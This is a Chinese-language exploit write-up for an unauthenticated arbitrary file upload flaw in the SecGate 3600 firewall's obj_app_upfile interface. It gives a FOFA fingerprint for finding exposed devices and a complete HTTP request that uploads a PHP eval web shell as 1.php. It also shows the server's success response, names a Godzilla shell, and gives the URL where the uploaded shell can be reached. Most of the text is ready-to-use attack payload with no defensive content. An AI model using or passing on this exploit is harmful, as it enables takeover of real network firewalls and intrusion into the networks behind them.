Q1-11奇安信-网神SecSSL3600-文件上传

漏洞描述：

网神 SecGate 3600 防火墙 obj_app_upfile 接口存在任意文件上传漏洞，未经授权的攻击者通过漏洞可以上传任意文件，获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：fid="1Lh1LHi6yfkhiO83l59AYg=="

漏洞复现：

payload：

```
POST /?g=obj_app_upfile HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: text/plain

马子
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

效果图:
上传哥斯拉马子

Request

```
POST /?g=obj_app_upfile HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: text/plain

<?php
eval($_POST["pass"]);

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

Responses

```
HTTP/1.1 302 Found
Set-Cookie: __s_sessionid__
Expires: Thu, 19 Nov 1981 0
Cache-Control: no-store, no
Pragma: no-cache
location: /?permission_erro
Content-type: text/html; ch
Connection: close
Date: Thu, 10 Aug 2023 13:2
Content-Length: 3511

File is valid, and was succ
Array
(
    [upfile] => Array
        (
            [name] => 1.php
            [type] => text/
            [tmp_name] => /
            [error] => 0
            [size] => 30
        )

)
<!DOCTYPE html PUBLIC "-//W
xhtml1/DTD/xhtml1-transitio
<html xmlns="http://www.w3.
<head>
<meta http-equiv="Content-T
<meta name="author" content
<link rel="shortcut icon" t
<title>网神SecGate 3600防火
```

验证url

```
https://your-ip/attachements/1.php
```

尝试连接